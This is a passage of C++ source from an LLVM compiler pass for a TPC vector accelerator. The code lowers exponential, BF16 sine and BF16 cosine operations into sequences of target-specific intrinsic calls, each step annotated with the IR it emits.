1), ConstantInt::get(I1Type, 0)});\n //%11 = tail call <64 x i32> @llvm.tpc.shl.v64i32.i32.i1(<64 x i32> %10, i32\n // 23, i8 2, i32 0, <64 x i32> undef, i1 true, i1 false) #3\n SmallVector<Type *, 6> TypesTpcShl0{Int64Type, I32Type, I8Type, I32Type,\n Int64Type, I1Type, I1Type};\n FType = FunctionType::get(Int64Type, TypesTpcShl0, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_shl, FType),\n FType)\n .getCallee());\n auto TpcShl0Res = Builder.CreateCall(\n Intrinsic,\n {Convert0Res, ConstantInt::get(I32Type, 23), ConstantInt::get(I8Type, 2),\n ConstantInt::get(I32Type, 0), UndefValue::get(Int64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n auto Add0Res = Builder.CreateAdd(TpcShl0Res, BitCast0Res);\n\n auto Bitcast1Res = Builder.CreateBitCast(Add0Res, Float64Type);\n\n SmallVector<Type *, 9> TypesSelLeq0{Float64Type, Float64Type, Float64Type,\n Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesSelLeq0, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_leq, FType), FType)\n .getCallee());\n auto ConstExpLower = ConstantFP::get(F32Type, -87.336);\n auto TpcSelLeq0Res = Builder.CreateCall(\n Intrinsic, {Operand, ConstantVector::getSplat(64, ConstExpLower),\n ConstantAggregateZero::get(Float64Type), Bitcast1Res,\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), ConstantInt::get(I1Type, 1),\n ConstantInt::get(I1Type, 0)});\n\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_geq, FType), FType)\n .getCallee());\n auto ConstExpUpper = ConstantFP::get(F32Type, 88.722);\n auto ConstPlusInfFP32 = ConstantFP::getInfinity(F32Type, false);\n auto TpcSelGeq0Res = Builder.CreateCall(\n Intrinsic, {Operand, ConstantVector::getSplat(64, ConstExpUpper),\n ConstantVector::getSplat(64, ConstPlusInfFP32), TpcSelLeq0Res,\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), ConstantInt::get(I1Type, 1),\n ConstantInt::get(I1Type, 0)});\n\n auto BitCast2Res = Builder.CreateBitCast(Operand, Int64Type);\n\n auto ConstNan = ConstantInt::get(I32Type, 2147483647);\n auto And0Res =\n Builder.CreateAnd(BitCast2Res, ConstantVector::getSplat(64, ConstNan));\n\n SmallVector<Type *, 9> TypesSelGrt0{Int64Type, I32Type, Float64Type,\n Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, TypesSelGrt0, false);\n Intrinsic = cast<Function>(\n InstrToReplace->getModule()\n ->getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType), FType)\n .getCallee());\n auto SelGrt0Res = Builder.CreateCall(\n Intrinsic, {And0Res, ConstantInt::get(I32Type, 2139095040), Operand,\n TpcSelGeq0Res, ConstantInt::get(I8Type, 3),\n ConstantInt::get(I32Type, 0), UndefValue::get(Float64Type),\n ConstantInt::get(I1Type, 1), ConstantInt::get(I1Type, 0)});\n\n InstrToReplace->replaceAllUsesWith(SelGrt0Res);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16SinWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw1 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // Begin instruction sequence.\n // %3 = bitcast <128 x bfloat16> %2 to <128 x i16>\n auto BitCast = Builder.CreateBitCast(Operand, /*Dest Type*/ Short128Type);\n\n // %and.i = and <128 x i16> %3, <i16 32767, ...\n auto BitCastAnd = Builder.CreateAnd(\n BitCast, ConstantVector::getSplat(128, ConstantInt::get(I16Type, 32767)));\n\n // %4 = bitcast <128 x i16> %and.i to <128 x bfloat16>\n auto BitCastToBF16 = Builder.CreateBitCast(BitCastAnd, Bfloat128Type);\n\n // %5 = tail call <128 x float> @llvm.tpc.convert.v128f32.v128bf16.i1\n // (<128 x bfloat16> %4, i8 1, i32 0, <128 x float> undef, i1 true,\n // i1 false)\n SmallVector<Type *, 6> ConvertTypes{Bfloat128Type, I8Type, I32Type,\n Float128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Float128Type, ConvertTypes, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConvertToFloat128 = Builder.CreateCall(\n Intrinsic, {BitCastToBF16, Sw1, Sw2, UndefValue::get(Float128Type),\n Predicate, Polarity});\n\n // %X = shufflevector <128 x float> %5, <128 x float> undef, <64 x\n // i32>(0...63)\n SmallVector<uint32_t, 64> Vec0, Vec1;\n for (int i = 0; i < 64; i++) {\n Vec0.push_back(i);\n Vec1.push_back(64 + i);\n }\n\n auto FirstHalf = Builder.CreateShuffleVector(\n ConvertToFloat128, UndefValue::get(Float128Type), Vec0);\n // %mul.i = fmul <64 x float> %X, <float 1.27323949f ....>\n auto FirstMul = Builder.CreateFMul(\n FirstHalf,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 1.27323949f)));\n // %Y = shufflevector <128 x float> %5, <128 x float> undef, <64 x\n // i32>(64...128)\n auto SecondHalf = Builder.CreateShuffleVector(\n ConvertToFloat128, UndefValue::get(Float128Type), Vec1);\n // %mul15.i = fmul <64 x float> %Y, <float 1.27323949f ....>\n auto SecondMul = Builder.CreateFMul(\n SecondHalf,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 1.27323949f)));\n\n // %6 = tail call <64 x i32> @llvm.tpc.convert.v64i32.v64f32.i1(<64 x float>\n // %mul.i...\n ConvertTypes = {Float64Type, I8Type, I32Type, Int64Type, I1Type, I1Type};\n FType = FunctionType::get(Int64Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConvertToInt641 = Builder.CreateCall(\n Intrinsic,\n {FirstMul, ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 66048),\n UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %7 = tail call <64 x i32> @llvm.tpc.convert.v64i32.v64f32.i1(<64 x float>\n // %mul.i...\n auto ConvertToInt642 = Builder.CreateCall(\n Intrinsic,\n {SecondMul, ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 66048),\n UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %and17.i = and <64 x i32> %6, <i32 1, i32 1,...\n auto And1 = Builder.CreateAnd(\n ConvertToInt641,\n ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %add.i = add <64 x i32> %and17.i, %6\n auto Add1 = Builder.CreateAdd(And1, ConvertToInt641);\n\n // %and22.i = and <64 x i32> %7, <i32 1, i32 1,...\n auto And2 = Builder.CreateAnd(\n ConvertToInt642,\n ConstantVector::getSplat(64, ConstantInt::get(I32Type, 1)));\n\n // %add25.i = add <64 x i32> %and22.i, %7\n auto Add2 = Builder.CreateAdd(And2, ConvertToInt642);\n\n // %8 = tail call <128 x i16> @llvm.tpc.convert.int.v128i16.v64i32.v256i8.i1\n // <64 x i32> %add.i, <256 x i8> zeroinitializer, i32 720896\n ConvertTypes = {Int64Type, I8256Type, I32Type, Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_convert_int, FType), FType)\n .getCallee());\n auto ConvertToShort1281 = Builder.CreateCall(\n Intrinsic,\n {Add1, ConstantVector::getSplat(256, ConstantInt::get(I8Type, 0)),\n ConstantInt::get(I32Type, 720896),\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 0)), Predicate,\n Polarity});\n\n // %9 = tail call <128 x i16>\n // @llvm.tpc.convert.int.v128i16.v64i32.v256i8.i1(<64 x i32> %add25.i,...\n auto ConvertToShort1282 = Builder.CreateCall(\n Intrinsic,\n {Add2, ConstantVector::getSplat(256, ConstantInt::get(I8Type, 0)),\n ConstantInt::get(I32Type, 720897), ConvertToShort1281, Predicate,\n Polarity});\n\n // %10 = tail call <64 x float> @llvm.tpc.convert.v64f32.v64i32.i1(<64 x i32>\n // %add.i...\n ConvertTypes = {Int64Type, I8Type, I32Type, Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConverttoFloat641 = Builder.CreateCall(\n Intrinsic,\n {Add1, ConstantInt::get(I8Type, 2), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n // %11 = tail call <64 x float> @llvm.tpc.convert.v64f32.v64i32.i1(<64 x i32>\n // %add25.i,...\n auto ConverttoFloat642 = Builder.CreateCall(\n Intrinsic,\n {Add2, ConstantInt::get(I8Type, 2), ConstantInt::get(I32Type, 0),\n UndefValue::get(Float64Type), Predicate, Polarity});\n\n SmallVector<Type *, 6> MacTypes = {Float64Type, Float64Type, I8Type, I32Type,\n Float64Type, I1Type, I1Type};\n FType = FunctionType::get(Float64Type, MacTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n\n // %12 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %10, <64 x float>...%X...\n auto Mac1 = Builder.CreateCall(\n Intrinsic,\n {ConverttoFloat641,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -7.85156250e-01f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0), FirstHalf,\n Predicate, Polarity});\n\n // %13 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %11,..%Y...\n auto Mac2 = Builder.CreateCall(\n Intrinsic,\n {ConverttoFloat642,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, -7.85156250e-01f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0), SecondHalf,\n Predicate, Polarity});\n\n // %14 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %10,...Mac1..\n auto Mac3 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat641,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -2.41875648498e-4f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac1, Predicate, Polarity});\n\n // %15 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %11,..Mac2..\n auto Mac4 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat642,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -2.41875648498e-4f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac2, Predicate, Polarity});\n\n // %16 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %10,..Mac3...\n auto Mac5 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat641,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -3.7748949774e-8f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac3, Predicate, Polarity});\n\n // %17 = tail call <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>\n // %11,...Mac5...\n auto Mac6 = Builder.CreateCall(\n Intrinsic, {ConverttoFloat642,\n ConstantVector::getSplat(\n 64, ConstantFP::get(F32Type, -3.7748949774e-8f)),\n ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 0),\n Mac4, Predicate, Polarity});\n\n // %fl.sroa.0.0.vec.expand.i = shufflevector <64 x float> %16, <64 x float>\n // undef, <128 x i32>...\n auto Mask1 = createSequentialMask(Builder, 0, 64, 64);\n auto ShuffleFloat641 =\n Builder.CreateShuffleVector(Mac5, UndefValue::get(Float64Type), Mask1);\n\n // %fl.sroa.0.256.vec.expand195.i = shufflevector <64 x float> %17, <64 x\n // float> undef, <128 x i32> <i32 undef,...\n SmallVector<Constant *, 16> Mask2;\n Constant *Undef = UndefValue::get(Builder.getInt32Ty());\n for (unsigned i = 0; i < 64; i++)\n Mask2.push_back(Undef);\n for (unsigned i = 0; i < 64; i++)\n Mask2.push_back(Builder.getInt32(i));\n\n auto ShuffleFloat642 = Builder.CreateShuffleVector(\n Mac6, UndefValue::get(Float64Type), ConstantVector::get(Mask2));\n\n // %fl.sroa.0.256.vecblend196.i = shufflevector <128 x float>\n // %fl.sroa.0.0.vec.expand.i, <128 x float> %fl.sroa.0.256.vec.expand195.i,\n // <128 x i32>\n SmallVector<Constant *, 16> Mask3;\n for (unsigned i = 0; i < 64; i++)\n Mask3.push_back(Builder.getInt32(i));\n for (unsigned i = 192; i < 256; i++)\n Mask3.push_back(Builder.getInt32(i));\n\n auto ShuffleFloat128 = Builder.CreateShuffleVector(\n ShuffleFloat641, ShuffleFloat642, ConstantVector::get(Mask3));\n\n // %18 = tail call <128 x bfloat16> @llvm.tpc.convert.v128bf16.v128f32.i1(<128\n // x float> %fl.sroa.0.256.vecblend196.i,...\n ConvertTypes = {Float128Type, I8Type, I32Type, Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConvertBfloat128 = Builder.CreateCall(\n Intrinsic, {ShuffleFloat128, ConstantInt::get(I8Type, 0),\n ConstantInt::get(I32Type, 393472),\n UndefValue::get(Bfloat128Type), Predicate, Polarity});\n\n // %19 = tail call <256 x i1> @llvm.tpc.cmp.grt.v256i1.v128bf16.bf16.i1(<128 x\n // bfloat16> %18, bfloat16 0xR0000,...\n ConvertTypes = {Bfloat128Type, BF16Type, I8Type, I32Type,\n Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_grt, FType),\n FType)\n .getCallee());\n auto SelGrt = Builder.CreateCall(\n Intrinsic, {ConvertBfloat128, Constant::getNullValue(BF16Type),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 0),\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %20 = bitcast <128 x bfloat16> %18 to <128 x i16>\n auto BitCastShort128 = Builder.CreateBitCast(ConvertBfloat128, Short128Type);\n\n // %and75.i = and <128 x i16> %20, <i16 32767,...\n auto AndShort128 = Builder.CreateAnd(\n BitCastShort128,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 32767)));\n\n // %21 = bitcast <128 x i16> %and75.i to <128 x bfloat16>\n auto BitCastBfloat128 = Builder.CreateBitCast(AndShort128, Bfloat128Type);\n\n // %22 = tail call <128 x i16> @llvm.tpc.shr.v128i16.i16.i1(<128 x i16> %3,...\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_shr, FType), FType)\n .getCallee());\n auto SHRShort128 = Builder.CreateCall(\n Intrinsic, {BitCast, ConstantInt::get(I16Type, 15),\n ConstantInt::get(I8Type, 8), ConstantInt::get(I32Type, 0),\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %23 = lshr <128 x i16> %9, <i16 1, i16 1,...\n auto LSHRShort128 = Builder.CreateLShr(\n ConvertToShort1282,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 1)));\n\n // %and76.i = and <128 x i16> %23, <i16 3, i16 3...\n auto And76i = Builder.CreateAnd(\n LSHRShort128,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 3)));\n\n // %and77.i = and <128 x i16> %23, <i16 2, i16 2,...\n auto And77i = Builder.CreateAnd(\n LSHRShort128,\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 2)));\n\n // %24 = lshr exact <128 x i16> %and77.i, <i16 1, i16 1,...\n auto LSHRShort1281 = Builder.CreateLShr(\n And77i, ConstantVector::getSplat(128, ConstantInt::get(I16Type, 1)), \"\",\n true);\n\n // %xor.i = xor <128 x i16> %22, %24\n auto Xori = Builder.CreateXor(SHRShort128, LSHRShort1281);\n\n // %sub.i = sub nsw <128 x i16> %and76.i, %and77.i\n auto Subi = Builder.CreateNSWSub(And76i, And77i);\n\n // %25 = tail call <256 x i1> @llvm.tpc.cmp.eq.v256i1.v128i16.i16.i1(<128 x\n // i16> %sub.i,...\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_eq, FType),\n FType)\n .getCallee());\n auto CmpEqShort128 = Builder.CreateCall(\n Intrinsic, {Subi, ConstantInt::get(I16Type, 1),\n ConstantInt::get(I8Type, 7), ConstantInt::get(I32Type, 0),\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %26 = or <256 x i1> %25, %19\n auto OrShort1281 = Builder.CreateOr(CmpEqShort128, SelGrt);\n\n // %27 = tail call <128 x i16> @llvm.tpc.xor.v128i16.v128i16.i16.v256i1(<128 x\n // i16> %xor.i,...\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, Char256Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_xor, FType), FType)\n .getCallee());\n auto Xor27 = Builder.CreateCall(\n Intrinsic,\n {Xori, ConstantInt::get(I16Type, 1), ConstantInt::get(I8Type, 7),\n ConstantInt::get(I32Type, 0), Xori, OrShort1281, Predicate});\n\n // %28 = tail call <256 x i1> @llvm.tpc.cmp.eq.v256i1.v128i16.i16.i1(<128 x\n // i16> %27,\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Char256Type, I1Type, I1Type};\n FType = FunctionType::get(Char256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_cmp_eq, FType),\n FType)\n .getCallee());\n auto CmpEqShort1281 = Builder.CreateCall(\n Intrinsic, {Xor27, ConstantInt::get(I16Type, 1),\n ConstantInt::get(I8Type, 7), ConstantInt::get(I32Type, 0),\n UndefValue::get(Char256Type), Predicate, Polarity});\n\n // %29 = tail call <256 x i16>\n // @llvm.tpc.get.lut.entry.v256i16.v128bf16.i1(<128 x bfloat16> %21,...\n ConvertTypes = {Bfloat128Type, I8Type, I8Type, I32Type,\n Short256Type, I1Type, I1Type};\n FType = FunctionType::get(Short256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_get_lut_entry, FType), FType)\n .getCallee());\n auto LutEntry1 = Builder.CreateCall(\n Intrinsic, {BitCastBfloat128, ConstantInt::get(I8Type, 3),\n ConstantInt::get(I8Type, 1), ConstantInt::get(I32Type, 24576),\n UndefValue::get(Short256Type), Predicate, Polarity});\n\n // %30 = shufflevector <256 x i16> %29, <256 x i16> undef, <128 x i32> <i32\n // 0,...127\n auto Mask4 = createSequentialMask(Builder, 0, 128, 0);\n auto ShuffleShort2561 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask4);\n\n // %31 = shufflevector <256 x i16> %29, <256 x i16> undef, <128 x i32> <i32\n // 128, i32 129...255\n Mask4 = createSequentialMask(Builder, 128, 128, 0);\n auto ShuffleShort2562 = Builder.CreateShuffleVector(\n LutEntry1, UndefValue::get(Short256Type), Mask4);\n\n // %32 = bitcast <128 x i16> %31 to <128 x bfloat16>\n auto BitCastBfloat1281 =\n Builder.CreateBitCast(ShuffleShort2562, Bfloat128Type);\n\n // %shl.i = shl nsw <128 x i16> %sub.i, <i16 4, i16 4...\n auto Shli = Builder.CreateShl(\n Subi, ConstantVector::getSplat(128, ConstantInt::get(I16Type, 4)));\n\n // %33 = or <128 x i16> %30, %shl.i\n auto OrShort1282 = Builder.CreateOr(ShuffleShort2561, Shli);\n\n // %34 = fsub <128 x bfloat16> %21, %32\n auto FSubBfloat1281 = Builder.CreateFSub(BitCastBfloat128, BitCastBfloat1281);\n\n // %35 = tail call <256 x bfloat16> @llvm.tpc.lookup.2c.v256bf16.v128i16(<128\n // x i16> %33,...\n ConvertTypes = {Short128Type, I32Type, I32Type,\n Bfloat256Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat256Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_lookup_2c, FType), FType)\n .getCallee());\n auto LookupBfloat2561 = Builder.CreateCall(\n Intrinsic, {OrShort1282, ConstantInt::get(I32Type, 429),\n ConstantInt::get(I32Type, 1),\n Constant::getNullValue(Bfloat256Type), Predicate, Polarity});\n\n // %C0C1.sroa.0.256.vec.extract.i = shufflevector <256 x bfloat16> %35,...\n Mask4 = createSequentialMask(Builder, 128, 128, 0);\n auto ShuffleBfloat2561 = Builder.CreateShuffleVector(\n LookupBfloat2561, UndefValue::get(Bfloat256Type), Mask4);\n\n // %C0C1.sroa.0.0.vec.extract.i = shufflevector <256 x bfloat16> %35, <256 x\n // bfloat16> undef, <128 x i32> <i32 0,...\n Mask4 = createSequentialMask(Builder, 0, 128, 0);\n auto ShuffleBfloat2562 = Builder.CreateShuffleVector(\n LookupBfloat2561, UndefValue::get(Bfloat256Type), Mask4);\n\n // %36 = tail call <128 x bfloat16> @llvm.tpc.mac.v128bf16.v128bf16.i1(<128 x\n // bfloat16> %C0C1.sroa.0.256.vec.extract.i, <128 x bfloat16> %34, i8 1, i32\n // 0, <128 x bfloat16> %C0C1.sroa.0.0.vec.extract.i,\n ConvertTypes = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, I1Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mac, FType), FType)\n .getCallee());\n auto MacBfloat1281 = Builder.CreateCall(\n Intrinsic,\n {ShuffleBfloat2561, FSubBfloat1281, ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 0), ShuffleBfloat2562, Predicate, Polarity});\n\n // %37 = tail call <128 x bfloat16>\n // @llvm.tpc.mul.v128bf16.v128bf16.v128bf16.v256i1(<128 x bfloat16> %21, <128\n // x bfloat16> %36, i8 1, i32 0, <128 x bfloat16> %36, <256 x i1> %25, i1\n // true)\n ConvertTypes = {Bfloat128Type, Bfloat128Type, I8Type, I32Type,\n Bfloat128Type, Char256Type, I1Type};\n FType = FunctionType::get(Bfloat128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_mul, FType), FType)\n .getCallee());\n auto MacBfloat1282 = Builder.CreateCall(\n Intrinsic, {BitCastBfloat128, MacBfloat1281, ConstantInt::get(I8Type, 1),\n ConstantInt::get(I32Type, 0), MacBfloat1281, CmpEqShort128,\n /*Inverted predicate*/ Predicate});\n\n // %38 = bitcast <128 x bfloat16> %37 to <128 x i16>\n auto BitCastShort1281 = Builder.CreateBitCast(MacBfloat1282, Short128Type);\n\n // %39 = tail call <128 x i16> @llvm.tpc.xor.v128i16.v128i16.i16.v256i1(<128 x\n // i16> %38, i16 -32768...\n // <256 x i1> %28, i1 false\n ConvertTypes = {Short128Type, I16Type, I8Type, I32Type,\n Short128Type, Char256Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic =\n cast<Function>(M.getOrInsertFunction(\n getTPCIntrinsicName(Intrinsic::tpc_xor, FType), FType)\n .getCallee());\n auto XorShort1281 = Builder.CreateCall(\n Intrinsic, {BitCastShort1281, ConstantInt::get(I16Type, -32768),\n ConstantInt::get(I8Type, 7), ConstantInt::get(I32Type, 0),\n BitCastShort1281, CmpEqShort1281, Polarity});\n\n // %40 = tail call <128 x i16> @llvm.tpc.sel.grt..(<128 x i16> %and.i, i16\n // 17920, <128 x i16> <i16 32767..>) <128 x i16> %39, i8 8, i32 0, <128 x i16>\n // undef, i1 true, i1 false)\n ConvertTypes = {Short128Type, I16Type, Short128Type,\n Short128Type, I8Type, I32Type,\n Short128Type, I1Type, I1Type};\n FType = FunctionType::get(Short128Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_sel_grt, FType),\n FType)\n .getCallee());\n auto SelGrt1 = Builder.CreateCall(\n Intrinsic,\n {BitCastAnd, ConstantInt::get(I16Type, 17920),\n ConstantVector::getSplat(128, ConstantInt::get(I16Type, 32767)),\n XorShort1281, ConstantInt::get(I8Type, 8), ConstantInt::get(I32Type, 0),\n UndefValue::get(Short128Type), Predicate, Polarity});\n\n // %41 = bitcast <128 x i16> %40 to <128 x bfloat16>\n auto BitCastBfloat1282 = Builder.CreateBitCast(SelGrt1, Bfloat128Type);\n\n InstrToReplace->replaceAllUsesWith(BitCastBfloat1282);\n InstrToReplace->eraseFromParent();\n}\n\nvoid EvalSpecialFunctionPass::replaceBF16CosWithTPCIntrinsics(\n Module &M, Instruction *InstrToReplace) {\n IRBuilder<> Builder(InstrToReplace);\n Value *Operand = InstrToReplace->getOperand(0);\n\n // Helper Values.\n auto Sw1 = ConstantInt::get(I8Type, 1);\n auto Sw2 = ConstantInt::get(I32Type, 0);\n auto Predicate = ConstantInt::get(I1Type, 1);\n auto Polarity = ConstantInt::get(I1Type, 0);\n\n // Begin instruction sequence.\n // %4 = bitcast <128 x bfloat16> %3 to <128 x i16>\n auto BitCast = Builder.CreateBitCast(Operand, /*Dest Type*/ Short128Type);\n\n // %and.i = and <128 x i16> %4, <i16 32767, ...\n auto BitCastAnd = Builder.CreateAnd(\n BitCast, ConstantVector::getSplat(128, ConstantInt::get(I16Type, 32767)));\n\n // %5 = bitcast <128 x i16> %and.i to <128 x bfloat16>\n auto BitCastToBF16 = Builder.CreateBitCast(BitCastAnd, Bfloat128Type);\n\n // %6 = tail call <128 x float> @llvm.tpc.convert.v128f32.v128bf16.i1\n // (<128 x bfloat16> %5, i8 1, i32 0, <128 x float> undef, i1 true,\n // i1 false)\n SmallVector<Type *, 6> ConvertTypes{Bfloat128Type, I8Type, I32Type,\n Float128Type, I1Type, I1Type};\n auto FType = FunctionType::get(Float128Type, ConvertTypes, false);\n auto Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConvertToFloat128 = Builder.CreateCall(\n Intrinsic, {BitCastToBF16, Sw1, Sw2, UndefValue::get(Float128Type),\n Predicate, Polarity});\n\n // %X = shufflevector <128 x float> %6, <128 x float> undef, <64 x\n // i32>(0...63)\n SmallVector<uint32_t, 64> Vec0, Vec1;\n for (int i = 0; i < 64; i++) {\n Vec0.push_back(i);\n Vec1.push_back(64 + i);\n }\n\n auto FirstHalf = Builder.CreateShuffleVector(\n ConvertToFloat128, UndefValue::get(Float128Type), Vec0);\n // %mul.i = fmul <64 x float> %X, <float 1.27323949f ....>\n auto FirstMul = Builder.CreateFMul(\n FirstHalf,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 1.27323949f)));\n // %Y = shufflevector <128 x float> %5, <128 x float> undef, <64 x\n // i32>(64...128)\n auto SecondHalf = Builder.CreateShuffleVector(\n ConvertToFloat128, UndefValue::get(Float128Type), Vec1);\n // %mul15.i = fmul <64 x float> %Y, <float 1.27323949f ....>\n auto SecondMul = Builder.CreateFMul(\n SecondHalf,\n ConstantVector::getSplat(64, ConstantFP::get(F32Type, 1.27323949f)));\n\n // %7 = tail call <64 x i32> @llvm.tpc.convert.v64i32.v64f32.i1(<64 x float>\n // %mul.i...\n ConvertTypes = {Float64Type, I8Type, I32Type, Int64Type, I1Type, I1Type};\n FType = FunctionType::get(Int64Type, ConvertTypes, false);\n Intrinsic = cast<Function>(\n M.getOrInsertFunction(getTPCIntrinsicName(Intrinsic::tpc_convert, FType),\n FType)\n .getCallee());\n auto ConvertToInt641 = Builder.CreateCall(\n Intrinsic,\n {FirstMul, ConstantInt::get(I8Type, 0), ConstantInt::get(I32Type, 66112),\n UndefValue::get(Int64Type), Predicate, Polarity});\n\n // %8 = tail call <64 x i32> @llvm.tpc.convert.v64i32.v64f32.i1(<64 x float>\n // %mul.i...\n auto ConvertToInt642 = Builder.CreateCall(\n Intrinsic,\n {SecondMul, ConstantInt::get(I8Type, 0), 